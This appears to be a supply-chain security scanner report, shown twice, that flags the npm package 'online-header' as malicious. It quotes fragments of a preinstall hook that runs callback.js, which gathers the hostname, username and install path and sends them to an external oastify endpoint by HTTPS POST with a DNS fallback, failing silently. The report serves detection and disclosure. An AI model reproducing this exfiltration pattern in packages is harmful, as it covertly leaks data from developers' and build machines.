online-header@99.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

online-header@99.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"preinstall": "node callback.js" }, "license": "ISC" }

High

Ai Review Evidence

package.json automatically runs callback.js during preinstall.

package.jsonView on unpkg · L6

callback.jsView file

2// Collects hostname + IP for attribution, nothing destructive L3: const https = require("https"); L4: const os = require("os"); ... L9: p: "online-header", // which package triggered this L10: h: os.hostname(), // build server hostname L11: u: os.userInfo().username, // build user ... L30: req.on("error", () => {}); // silent fail — don't break their build L31: req.write(data); L32: req.end(); ... L36: try { L37: const { resolve } = require("dns"); L38: const tag = os.hostname().replace(/[^a-z0-9-]/gi, "").slice(0, 30);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> callback.js const https = require("https"); const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.stringify({ const req = https.request({ method: "POST", req.write(data); // DNS exfil as backup (in case HTTPS is blocked outbound) resolve(`${tag}.online-header.[redacted].oastify.com`, () => {});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

callback.jsView on unpkg

8const data = JSON.stringify({ p: "online-header", // which package triggered this h: os.hostname(), // build server hostname u: os.userInfo().username, // build user d: __dirname, // install path (shows internal dir structure) t: n

High

Ai Review Evidence

callback.js collects the hostname, username, installation directory, and runtime details.

callback.jsView on unpkg · L8

6const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L6

22const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname, method: "POST", headers: { "Content-Type": "application/json", "Content-Length": data.length }, timeout: 5000, }, () => {}); req.on("error", () => {}); // silent fail — don't break their build req.write(data); req

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L22

31req.write(data); req.end(); } catch (e) {} // DN

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L31

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node callback.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"preinstall": "node callback.js" }, "license": "ISC" }

High

Ai Review Evidence

package.json automatically runs callback.js during preinstall.

package.jsonView on unpkg · L6

callback.jsView file

2// Collects hostname + IP for attribution, nothing destructive L3: const https = require("https"); L4: const os = require("os"); ... L9: p: "online-header", // which package triggered this L10: h: os.hostname(), // build server hostname L11: u: os.userInfo().username, // build user ... L30: req.on("error", () => {}); // silent fail — don't break their build L31: req.write(data); L32: req.end(); ... L36: try { L37: const { resolve } = require("dns"); L38: const tag = os.hostname().replace(/[^a-z0-9-]/gi, "").slice(0, 30);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

callback.jsView on unpkg · L2

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> callback.js const https = require("https"); const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.stringify({ const req = https.request({ method: "POST", req.write(data); // DNS exfil as backup (in case HTTPS is blocked outbound) resolve(`${tag}.online-header.[redacted].oastify.com`, () => {});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

callback.jsView on unpkg

8const data = JSON.stringify({ p: "online-header", // which package triggered this h: os.hostname(), // build server hostname u: os.userInfo().username, // build user d: __dirname, // install path (shows internal dir structure) t: n

High

Ai Review Evidence

callback.js collects the hostname, username, installation directory, and runtime details.

callback.jsView on unpkg · L8

6const CALLBACK = "https://[redacted].oastify.com"; const data = JSON.

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L6

22const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname, method: "POST", headers: { "Content-Type": "application/json", "Content-Length": data.length }, timeout: 5000, }, () => {}); req.on("error", () => {}); // silent fail — don't break their build req.write(data); req

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L22

31req.write(data); req.end(); } catch (e) {} // DN

High

Ai Review Evidence

callback.js posts collected information to a fixed external Oastify endpoint without an opt-in gate.

callback.jsView on unpkg · L31